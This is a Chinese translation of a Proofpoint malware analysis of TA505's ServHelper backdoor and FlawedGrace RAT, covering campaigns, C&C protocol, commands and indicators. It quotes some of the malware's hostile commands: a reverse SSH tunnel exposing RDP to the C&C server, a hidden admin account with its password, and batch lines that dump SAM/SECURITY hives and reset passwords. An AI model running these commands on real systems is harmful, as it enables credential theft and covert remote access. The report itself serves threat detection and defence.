一、简介

在2018年的大部分时间里,我们观察到威胁行为者越来越多的传播下载器、后门程序、信息窃取程序、远程访问特洛伊木马程序(RAT)等,因为他们放弃了勒索软件作为其主要载荷。2018年11月,作为这一趋势最前沿的多产攻击者TA505开始传播一个名为“ServHelper”的新后门。ServHelper有两种变体:一种侧重于远程桌面功能,另一种主要用作下载器。此外,我们观察到下载器变体下载了我们称之为“FlawedGrace”的恶意软件。FlawedGrace是我们在2017年11月首次观察到的全功能RAT。TA505在传播这些恶意软件系列时主动针对银行、零售企业和餐馆。这些目标与我们在2018年早些时候报道的其他活动一致。[1] [2]

二、恶意行动分析

1.11月9日 “Tunnel” 行动

2018年11月9日,我们观察到一个相对较小的电子邮件行动(数千封邮件),传播一个新的恶意软件系列,我们称之为“ServHelper”(基于与感染相关的文件名)。该行动主要针对金融机构,并归因于威胁行为者TA505。消息(图1)包含带有宏的Microsoft Word或Publisher附件,当启用、下载并执行恶意软件时。此行动系列使用了“恶意软件分析”部分中描述的ServHelper的“tunnel”变体。

图1:来自11月9日“tunnel”行动的电子邮件

2.11月15日 “Downloader” 行动

2018年11月15日,我们看到了来自同一攻击者的类似但更大的行动(数以万计的邮件)。除金融机构外,此行动还针对零售业。消息(图2)包含Microsoft“.doc”,“.pub”或“.wiz”附件。这些文档包含宏,启用后,下载并执行ServHelper恶意软件。此行动使用了ServHelper的“downloader”变体,删除了隧道功能。

图2:11月15日“downloader”行动中的电子邮件

3.12月13 日“FlawedGrace” 行动

2018年12月13日,我们观察到了另一个针对零售和金融服务客户的大型ServHelper“downloader”行动。这些消息使用了混合了嵌入式恶意宏的Microsoft Word附件,PDF附件的URL链接(链接到恶意软件的假“Adobe PDF插件”网页(图3)),以及链接到ServHelper可执行程序的电子邮件正文中的URL。

图3:PDF附件包含链接到虚假“Adobe PDF插件”页面的URL

在此行动中,我们观察到ServHelper下载(图4)并执行了我们称之为“FlawedGrace”的恶意软件。FlawedGrace是一种强大的远程访问木马(RAT),我们最初在2017年11月遇到过,但很少有人能观察到。

图4:显示ServHelper下载FlawedGrace的Fiddler截图

三、ServHelper恶意软件分析

ServHelper是一个新的恶意软件系列(最好归类为后门),我们于2018年11月首次在野外观察。它的名称基于我们在11月9日“tunnel”行动中记录的文件名(ServHelper.dll)。来自后期行动中的一个样本使用了包含“/rest/serv.php”的命令和控制(C&C)URI,该URI也引用“serv”组件。

恶意软件是用Delphi编写的,在撰写本文时正在积极改进。几乎每个新行动都会在恶意软件中添加新的命令和功能,因此我们不会专注于此分析的一个特定样本。相反,我们将一般性的讨论恶意软件系列;有关具体参考样本,请参阅下面的IoC部分。

如上所述,ServHelper有两种不同的变体:“tunnel”变体和“downloader”变体。 “tunnel”变体具有更多功能,并侧重于设置反向SSH隧道,以允许威胁行为者通过远程桌面协议(RDP)访问受感染的主机。一旦ServHelper建立远程桌面访问,恶意软件就包含威胁行为者“劫持”合法用户帐户或其Web浏览器配置文件的功能,并在他们认为合适时使用这些功能。 “downloader”变体被剥离了隧道和劫持功能,只作为基本的下载器来使用。

ServHelper的两种变体在端口443(HTTPS)上使用相同的HTTP C&C协议,而不怎么使用端口80(HTTP)。图5显示了与C&C服务器初始通联的示例。

图5:ServHelper的初始通联示例

早期版本的恶意软件使用半随机URI,例如:“/ghuae/huadh.php”。新版本已开始使用更典型的URI,例如:

· /support/form.php

· /rest/serv.php

· /sav/s.php

我们观察到的大多数C&C域名都位于“.pw”顶级域名(TLD)中,例如:

· checksolutions[.]pw

· afgdhjkrm[.]pw

· pointsoft[.]pw

· dedoshop[.]pw

但是,最近开发人员增加了对“.bit”C&C域名的支持;此TLD与加密货币Namecoin相关联,并且需要恶意软件使用特殊的DNS服务器:

· dedsolutions[.]bit

· arepos[.]bit

这些C&C通信中的POST数据包含三个URL编码参数:“key”,“sysid”和“resp”。 “key”参数是恶意软件中的硬编码字符串,似乎未在代码中的其他位置使用。观察到的key的示例包括:

· [email protected]

· asdgdgYss455

· #567sisGdsa

“sysid”参数包含新版本的恶意软件中的行动ID,受感染计算机上运行的Windows版本!系统体系结构、用户名和随机整数。观察到的行动ID示例包括:

· clean12

· chistka12.17

· noP_19

· nonRDP

· no24

· ny_upd

“resp”参数包含对从控制服务器接收到的命令的响应。

从C&C服务器发送到受感染机器的示例命令可以在上面图4中的Fiddler屏幕截图中看到。它包含一个命令,“^”分隔符和命令参数。我们在恶意软件中观察到以下命令:

nop

实现保持连接的功能。受感染的计算机以“nop ok”消息响应C&C服务器。

tun (“tunnel” variant only)

建立C&C服务器连接到受感染系统RDP端口(3389)的反向SSH隧道。在早期版本中,加载程序组件通过以下方式为此命令和其他命令进行初始设置:

· 从PE资源中提取并释放OpenSSH二进制文件

· 从PE资源中提取、释放和配置RDP Wrapper Library软件

· 使用密码“Ghar4f5”创建新用户“supportaccount”

· 将此用户添加到“远程桌面用户”和“管理员”组

在更新的版本中,加载程序组件的此功能已集成到核心ServHelper代码中,使用内置的Windows远程桌面支持而不是第三方软件包。此命令通过使用以下命令行参数执行已释放的OpenSSH二进制文件来设置反向SSH隧道:

-N -R <remote port>:localhost:3389 [email protected]<C&C server>

配置完成后,ServHelper会向C&C服务器发送“tun ok\r\nport:<remote port> tun pid:<SSH process id>”。

slp

设置睡眠时间。

fox (“tunnel” variant only)

将Firefox Web浏览器配置文件从一个用户复制到另一个用户。早期版本使用Windows “xcopy”命令。更高版本从C&C服务器下载自解压RAR文件(/cp/cp.exe),并使用密码“123”解压缩。此存档中的一个文件是一个称为“Runtime's Shadow Copy”的软件,它用于复制Web浏览器配置文件。

chrome (“tunnel” variant only)

与“fox”命令类似,但适用于Chrome浏览器配置文件。

killtun (“tunnel” variant only)

终止与特定远程端口关联的SSH隧道进程。一旦终止,它会向C&C服务器发送“killtun ok”消息。

tunlist (“tunnel” variant only)

获取所有活动SSH隧道的列表,并使用包含每个活动隧道的“active tun:<remote port>”条目的消息响应C&C服务器。

killalltuns (“tunnel” variant only)

杀死所有SSH隧道进程。

shell

执行shell命令并将响应发送到C&C服务器。

load

从指定的URL下载并运行可执行文件。使用“load no param ok”或“load param ok”响应C&C服务器,具体取决于是否将命令行参数传递给下载的可执行文件。

socks (“tunnel” variant only)

与“tun”命令类似,但允许通过受感染的系统与C&C服务器在任意端口(由命令参数指定)之间构建反向SSH隧道。配置完成后,“socks ok\r\nport:<remote port> tun pid:<SSH process id”消息将发送到C&C服务器。

selfkill

从受感染的计算机中删除恶意软件。

loaddll (“downloader” variant only)

仅在“downloader”变体中观察到的较新命令。类似于“load”命令,但适用于DLL。

bk (“tunnel” variant only)

一个类似于“tun”命令的新命令。“bk”允许使用C&C指定的远程主机而不是硬编码的C&C服务器来建立反向SSH隧道。

hijack (“tunnel” variant only)

一个较新的命令,劫持了一个已知密码(“123”)的用户帐户。它通过创建和调度任务“test”来运行包含以下命令的批处理文件:

· reg export hklm\sam c:\sam.reg

· reg export hklm\security c:\sec.reg

· net user <command argument username> 123

然后,它会调度任务“test2”来运行包含以下命令的另一个批处理文件:

· schtasks /delete /tn "test" /F

· reg import c:\sam.reg

· reg import c:\sec.reg

· schtasks /delete /tn "test2" /F

最后,它运行第一个计划任务并发送“ready! try to login with pass 123”消息登录到C&C服务器。

forcekill (“tunnel” variant only)

一个更新的命令,类似于“killalltuns”,但使用Windows“taskkill”命令。

sethijack (“tunnel” variant only)

一种控制“警报”机制的新命令。一个单独的程序线程监视用户登录。当合法用户变为活动状态且威胁行为者使用先前创建的“supportaccount”帐户连接到受感染系统时,它会运行“chrome”和“fox”命令,将合法用户的Web浏览器配置文件复制到“supportaccount”用户。然后,它通过发送包含“login detected, begin hijacking”和“profiles hijacked!”消息的消息框来警告威胁行为者。这些是由上面讨论的“fox”命令中“cp.exe”存档中包含的“msg.exe”程序发送的。

chromeport (“tunnel” variant only)

一个较新的命令,它实现与“chrome”命令相同的功能。

在一些ServHelper “downloader”行动期间,我们观察到(例如,如上面的图4所示)命令,指示恶意软件下载并执行另一个我们称之为“FlawedGrace”的恶意软件。

四、FlawedGrace恶意软件分析

FlawedGrace是一个远程访问木马(RAT),名字来源于分析样本中的调试部件(类名)(参见图6)。

图6:IDA Pro显示的“Grace”类名

恶意软件是用C ++编写的。它是一个非常大的程序,并广泛使用面向对象和多线程编程技术。这使得逆向工程和调试恶意软件既困难又耗时。编码风格和技术表明FlawedGrace并不是由与ServHelper相同的开发人员编写的。

我们最早在2017年11月的电子邮件行动中观察到FlawedGrace,但直到最近的ServHelper行动,我们才发现它再次被主动分发。恶意软件通常包含一个调试字符串,其中包含与PE编译时间戳不同的“版本号”和“构建日期”,允许搜索各种恶意软件存储库以查找其他版本:

· 未知版本创建于“Aug  7 2017 22:28:47”

· Version 2.0.7 创建于“Oct 18 2017 04:18:39”

· Version 2.0.8 创建于“Oct 26 2017 12:05:44”

· Version 2.0.9 创建于 “Nov  4 2017 22:28:10”

· Version 2.0.10 创建于“Nov 20 2017 10:53:33”

· Version 2.0.11 创建于“Dec 16 2017 08:02:46”

根据恶意软件的调试字符串,2017年底进行了重大改进。ServHelper行动正在分发2.0.10版本的恶意软件。

FlawedGrace在“<hex digits> .dat”文件(例如“C:\ProgramData\21851a60.dat”)中创建、加密和存储包含C&C IP和端口的配置文件。该文件的前16个字节是AES初始化向量(IV)。其余数据使用AES CBC模式进行加密。在分析的样本中,AES密钥被硬编码为“c3oeCSIfx0J6UtcV”。解密后,配置数据将存储为自定义序列(图7)。早期版本的恶意软件在与代码的这一部分进行交互时使用了类名“GraceParams”和“GraceValue”,因此序列化很可能是由恶意软件开发人员设计和开发的,而不是标准格式。

图7:显示C&C IP和端口的明文配置文件

FlawedGrace使用复杂的二进制协议进行命令和控制。它可以使用可配置端口进行通信,但迄今为止我们观察到的所有样本都使用443端口。图8显示了受感染系统和C&C服务器之间前四条消息的示例。

图8:FlawedGrace的初始C&C通信

我们依旧在逆向工程和解析协议,但可以提供以下初始C&C通信的概述:

消息1

来自受感染系统的初始信标。它是一个14字节的二进制结构,至少包含以下部分:

· Offset 0x0: 其余数据的CRC32 hash(DWORD)

· Offset 0x4: 魔术字"GCRG" (DWORD)

消息2

受感染系统的密钥验证消息。我们认为这用于验证恶意软件和C&C服务器上的一个加密密钥(静态密钥)是否相同。它是一个52字节的二进制结构,包含以下分析的偏移量,以及仍在分析中的其他组件:

· Offset 0x0: 其余数据的CRC32 hash(DWORD)

· Offset 0x14: 下述字段的MD5 hash (16 字节)

· 静态密钥,在分析的样本中一直是“static pass”

· 偏移量0x24处的随机字节,十六进制编码并大写

· Offset 0x24: 随机字节(16字节)

消息3

来自C&C服务器的密钥交换消息。此消息提供用于后续数据传输的第二个加密密钥(动态密钥)。它是一个42字节的结构,包含以下分析的偏移量,以及仍在分析中的其他组件:

· Offset 0x0: 其余数据的CRC32 hash(DWORD)

· Offset 0x1a: 动态密钥(16 字节)

消息4

受感染系统与C&C服务器之间的数据传输示例。它以一个38字节的二进制头开始,包含以下分析的偏移量,以及其他仍在分析中的组件:

· Offset 0x0: 接下来10个字节的CRC32 hash(DWORD)

· Offset 0xE: AES IV (16 字节)

头部之后是采用AES CBC模式进行加密的数据。使用上面的消息3和4中的“静态密钥”和“动态密钥”生成AES密钥。Python中密钥生成的一个例子如图9所示。

图9:Python中FlawedGrace C&C数据传输加密密钥生成示例

图10显示了在消息4中传输的明文数据的示例。

图10:FlawedGrace C&C消息4明文数据示例

此消息包含使用与配置文件相同方法序列化的各种系统和恶意软件信息。之后将序列化数据打包在其他二进制数据结构中。

虽然还有其他消息类型具有自定义格式,但这些示例提供了对FlawedGrace的C&C协议的初步了解。

FlawedGrace还使用了一系列命令,如下所示:

· target_remove

· target_update

· target_reboot

· target_module_load

· target_module_load_external

· target_module_unload

· target_download

· target_upload

· target_rdp

· target_passwords

· target_servers

· target_script

· destroy_os

· desktop_stat

五、总结

威胁攻击者TA505既稳定又多产。当该组织分发新的恶意软件时,它可能是一个突发问题(如Bart勒索软件,其仅在2016年分发一天)或者像Locky勒索软件一样,成为野外恶意软件的主要应变。在此情形之下,该组织已经开始在分发名为ServHelper的新后门和FlawedGrace的RAT。这也延伸了2018年出现的趋势,其中威胁行为者越来越关注下载器、信息窃取程序、RATS和其他恶意软件的分发,这些恶意软件保留在受害者设备上的时间长于破坏性的“smash and grab”恶意软件,如勒索软件。我们将继续观察这三种恶意软件变种的分布情况,但此次,它们不是一次性的,而是TA505的长期项目。

参考

[1] https://www.proofpoint.com/us/threat-insight/post/ta505-targets-us-retail-industry-personalized-attachments

[2] https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware

本文翻译自:https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505如若转载,请注明原文地址: http://www.4hou.com/web/15732.html
源链接

Hacking more

...